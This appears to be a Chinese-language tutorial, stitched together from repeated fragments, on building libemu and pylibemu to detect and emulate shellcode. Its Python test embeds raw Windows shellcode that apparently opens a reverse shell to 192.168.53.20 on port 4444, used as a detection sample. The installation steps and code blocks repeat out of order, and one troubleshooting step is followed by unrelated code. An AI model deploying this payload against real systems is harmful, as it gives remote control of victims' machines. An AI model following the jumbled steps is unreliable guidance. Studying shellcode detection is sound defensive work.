setp1:安装源码
Pylibemu https://github.com/buffer/pylibemu
libemugit clone git://git.carnivore.it/libemu.git
setp2:编译libemu
autoreconf -v -i
./configure --prefix=/opt/libemu
make install
如果遇到错误请尝试:
清除makefile中的-Werror 字符
-Werror选项,GCC会在所有产生警告的地方停止编译
setp3:编译Pylibmu
python setup.py build
sudo python setup.py install
如果遇到错误请尝试:
#!/usr/bin/python
#测试代码如下:
import pylibemu
buf = b""
buf = b"\xfc\x6a\xeb\x47\xe8\xf9\xff\xff\xff\x60\x31\xdb\x8b\x7d"
buf += b"\x3c\x8b\x7c\x3d\x78\x01\xef\x8b\x57\x20\x01\xea\x8b\x34"
buf += b"\x9a\x01\xee\x31\xc0\x99\xac\xc1\xca\x0d\x01\xc2\x84\xc0"
buf += b"\x75\xf6\x43\x66\x39\xca\x75\xe3\x4b\x8b\x4f\x24\x01\xe9"
buf += b"\x66\x8b\x1c\x59\x8b\x4f\x1c\x01\xe9\x03\x2c\x99\x89\x6c"
buf += b"\x24\x1c\x61\xff\xe0\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c"
buf += b"\x8b\x70\x1c\xad\x8b\x68\x08\x5e\x66\x53\x66\x68\x33\x32"
buf += b"\x68\x77\x73\x32\x5f\x54\x66\xb9\x72\x60\xff\xd6\x95\x53"
buf += b"\x53\x53\x53\x43\x53\x43\x53\x89\xe7\x66\x81\xef\x08\x02"
buf += b"\x57\x53\x66\xb9\xe7\xdf\xff\xd6\x66\xb9\xa8\x6f\xff\xd6"
buf += b"\x97\x68\xc0\xa8\x35\x14\x66\x68\x11\x5c\x66\x53\x89\xe3"
buf += b"\x6a\x10\x53\x57\x66\xb9\x57\x05\xff\xd6\x50\xb4\x0c\x50"
buf += b"\x53\x57\x53\x66\xb9\xc0\x38\xff\xe6"
Pylibemu https://github.com/buffer/pylibemu
libemugit clone git://git.carnivore.it/libemu.git
setp2:编译libemu
autoreconf -v -i
./configure --prefix=/opt/libemu
make install
如果遇到错误请尝试:
清除makefile中的-Werror 字符
-Werror选项,GCC会在所有产生警告的地方停止编译
setp3:编译Pylibmu
python setup.py build
sudo python setup.py install
如果遇到错误请尝试:
# echo "/opt/libemu/lib/" > /etc/ld.so.conf.d/libemu.conf
# ldconfig
# python
>>> import pylibemu
>>>
#!/usr/bin/python
#测试代码如下:
import pylibemu
buf = b""
buf = b"\xfc\x6a\xeb\x47\xe8\xf9\xff\xff\xff\x60\x31\xdb\x8b\x7d"
buf += b"\x3c\x8b\x7c\x3d\x78\x01\xef\x8b\x57\x20\x01\xea\x8b\x34"
buf += b"\x9a\x01\xee\x31\xc0\x99\xac\xc1\xca\x0d\x01\xc2\x84\xc0"
buf += b"\x75\xf6\x43\x66\x39\xca\x75\xe3\x4b\x8b\x4f\x24\x01\xe9"
buf += b"\x66\x8b\x1c\x59\x8b\x4f\x1c\x01\xe9\x03\x2c\x99\x89\x6c"
buf += b"\x24\x1c\x61\xff\xe0\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c"
buf += b"\x8b\x70\x1c\xad\x8b\x68\x08\x5e\x66\x53\x66\x68\x33\x32"
buf += b"\x68\x77\x73\x32\x5f\x54\x66\xb9\x72\x60\xff\xd6\x95\x53"
buf += b"\x53\x53\x53\x43\x53\x43\x53\x89\xe7\x66\x81\xef\x08\x02"
buf += b"\x57\x53\x66\xb9\xe7\xdf\xff\xd6\x66\xb9\xa8\x6f\xff\xd6"
buf += b"\x97\x68\xc0\xa8\x35\x14\x66\x68\x11\x5c\x66\x53\x89\xe3"
buf += b"\x6a\x10\x53\x57\x66\xb9\x57\x05\xff\xd6\x50\xb4\x0c\x50"
buf += b"\x53\x57\x53\x66\xb9\xc0\x38\xff\xe6"
emulator = pylibemu.Emulator()
offset = emulator.shellcode_getpc_test(buf)
if offset >= 0:
print "GetPC code detected at:",offset
else:
print "No GetPC code detected:",offset
offset = emulator.shellcode_getpc_test(buf)
if offset >= 0:
print "GetPC code detected at:",offset
else:
print "No GetPC code detected:",offset
emulator.prepare(buf, offset)
emulator.test()
print emulator.emu_profile_output
参考网站:
http://resources.infosecinstitute.com/shellcode-detection-emulation-libemu/
http://dvlabs.tippingpoint.com/blog/2011/12/05/shellcode-detection-python
emulator.test()
print emulator.emu_profile_output

参考网站:
http://resources.infosecinstitute.com/shellcode-detection-emulation-libemu/
http://dvlabs.tippingpoint.com/blog/2011/12/05/shellcode-detection-python